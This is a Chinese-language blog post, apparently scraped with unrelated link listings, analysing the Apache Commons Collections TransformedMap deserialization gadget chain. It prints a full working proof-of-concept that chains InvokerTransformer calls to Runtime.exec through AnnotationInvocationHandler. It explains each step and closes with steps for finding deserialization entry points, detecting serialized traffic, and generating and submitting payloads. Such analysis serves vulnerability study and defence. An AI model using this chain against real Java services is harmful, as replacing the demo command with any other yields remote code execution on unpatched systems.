Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析
TransformedMap链
参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)
poc
package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
利用链原理分析
首先我们来看Transformer类。其中transform方法可以看作将一个对象转换为另一个对象。

我们看看有哪些方法实现了Transformer接口。ctrl+H查找一下

我们一个个步入看一下。
首先先来看InvokerTransformer.
这个类还实现了Serializable接口,说明其能够进行序列化。


再来看一下 ConstantTransformer类,构造函数接受参数,没什么特别的。

再来看一下ChainedTransformer

通过InvokerTransformer, ConstantTransformer,ChainedTransformer这三个类我们可以推出一条基础的利用链。
我们来看看poc前半部分,注释为ChainedTransformer调用transform方法的结果
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),//第一次transform,输入为Runtime.class,返回结果为Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//第二次transform,输入为Runtime.class,返回为Method对象getRuntime。
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),//第三次transform,输入为Method对象getRuntime,返回是Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};//最后一次transform,即runtime.exec("calc.exe"),弹出计算器
Transformer chain = new ChainedTransformer(transformers_exec);//将数组转换成链
这里之前有疑惑,为什么需要调用invoke方法。将这行注释掉之后,会发现报错。

才发现getMethod返回的对象是Method对象,不能直接调用exec,才需要invoke。这里后续需要去仔细查看一下method.invoke方法。
接下来会碰到TransformedMap这个类,调用decorate这个函数,会调用这个构造函数,将参数保存到对象中。
Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。


接着分析poc
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。
到了这一步,我们需要调用map的SetValue函数,才能触发transform。那么反序列化中readobject如何调用这个函数呢?
看看sun.reflect.annotation.AnnotationInvocationHandler。
这个类的构造函数正好接受了一个Map对象。

再看看readobject方法

看看poc,接下来就是传入含有恶意代码的map,实例化AnnotationInvocationHandler类。并对其进行序列化,反序列化。
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);//获取参数为class和map的构造函数
cons.setAccessible(true);//取消安全访问机制,可以使用private函数
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);//使用构造函数
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
总结一下,本条链的思路:
首先本质是使用反射来实现方法的执行,即InvokerTransformer类。然后由于runtime.exec()方法只使用一次InvokerTransformer无法完成调用,便考虑配合ConstantTransformer与ChainedTransformer构造方法执行链。完成方法执行链的构造后,我们需要想办法触发这条链。此时便找到了TransformedMap,当修改TransformedMap对象的映射内容时,会自动调用transform方法。将chain保存到TransformedMap对象的Value中。最后,思考如何使用readobject调用setvalue方法改变value值,发现AnnotationInvocationHandler正好符合要求。便将其作为对象,TransformedMap对象作为参数进行实例化。而后进行序列化,反序列化即可。
反序列化时的调用流程: readobject() --> setValue() --> transform() 调用方法执行链实现代码
漏洞利用
1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
1)HTTP请求中的参数,cookies以及Parameters。
2)RMI协议,被广泛使用的RMI协议完全基于序列化
3)JMX 同样用于处理序列化对象
4)自定义协议 用来接收与发送原始的java对象
2. 漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等 注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
Apache Common-collection 反序列化利用链解析--TransformedMap链的更多相关文章
- Common lang一些边界方法总结(好记性不如烂笔头,需要慢慢积累).一定要利用好现有的轮子,例如Apache common与Google Guava
好记性真是不如烂笔头啊!!!! 如下代码: List<String> list = new ArrayList<String>(); list.add("1" ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- WEB文件上传之apache common upload使用(一)
文件上传一个经常用到的功能,它有许多中实现的方案. 页面表单 + RFC1897规范 + http协议上传 页面控件(flash/html5/activeX/applet) + RFC1897规范 + ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Apache Common DbUtils
前段时间使用了Apache Common DbUtils这个工具,在此留个印,以备不时查看.大家都知道现在市面上的数据库访问层的框架很多,当然很多都是包含了OR-Mapping工作步骤的 例如大家常用 ...
- org.apache.common.io-FileUtils详解
org.apache.common.io---FileUtils详解 getTempDirectoryPath():返回临时目录路径; public static String getTempDire ...
- python爬虫:利用BeautifulSoup爬取链家深圳二手房首页的详细信息
1.问题描述: 爬取链家深圳二手房的详细信息,并将爬取的数据存储到Excel表 2.思路分析: 发送请求--获取数据--解析数据--存储数据 1.目标网址:https://sz.lianjia.com ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- [转帖]深度解析区块链POW和POS的区别
深度解析区块链POW和POS的区别 Proof of Work 还有Proof of Stake 之前理解程了 state ... 股权的意思 还有 delegated proof of Stake ...
随机推荐
- vue + WangEnduit
components 注册组件 <template lang="html"> <div class="editor"> <div ...
- SQL-Instead of 触发器
定义及优点 INSTEAD OF触发器指定执行触发器而不是执行触发 的SQL 语句,从而替代触发语句的操作. 在表或视图上,每个 INSERT.UPDATE 或 DELETE 语句最多可 ...
- Apollo 配置中心详细教程
一.简介 Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境.不同集群的配置,配置修改后能够实时推送到应用端,并且具备规范的权限.流程治理等特性,适用于微服务配置管理 ...
- 分布式搜索引擎Elasticsearch在CentOS7中的安装
1. 概述 随着企业业务量的不断增大,业务数据随之增加,传统的基于关系型数据库的搜索已经不能满足需要. 在关系型数据库中搜索,只能支持简单的关键字搜索,做不到分词和统计的功能,而且当单表数据量到达上百 ...
- C# 中 async 和 await 的基本使用
C# 中 async 和 await 的基本使用 前言 经常在 C# 的代码中看到以 Async 结尾的方法,大概知道意为异步方法,但不知道怎么使用,也不知道如何定义. 对于"同步" ...
- 苹果手机input输入文字消失,看不见
这里的方法是: 原来字体是12号,改成15号或其他大一点的字号
- ubuntu中如何切换普通用户、root用户
1.打开Ubuntu,输入命令:su root,回车提示输入密码,输入密码后提示:认证失败. 2.给root用户设置密码: 命令:sudo passwd root 输入密码,并确认密码. 3.重新输入 ...
- vm中安装win2012并安装hyper-V不支持嵌套
在虚拟机中安装win2012,并安装hyper-v提示: 无法安装hyper-v:虚拟机监控程序已经在运行 找到虚拟机目录下,用文本编辑器打开该系统的虚拟机配置文件(.vmx后缀),在配置文件末尾增加 ...
- centos7.0 能ping通ip 无法ping通域名处理方法
第一步: 检查 vi /etc/sysconfig/network-scripts/ifcfg-eth0 查看网卡配置里的dns是否与 vi /etc/resolv.conf 的 nameser ...
- english note(6.3 to 6.8)
6.3 http://www.51voa.com/VOA_Special_English/pakistan-town-struggles-with-rise-in-hiv-infections-821 ...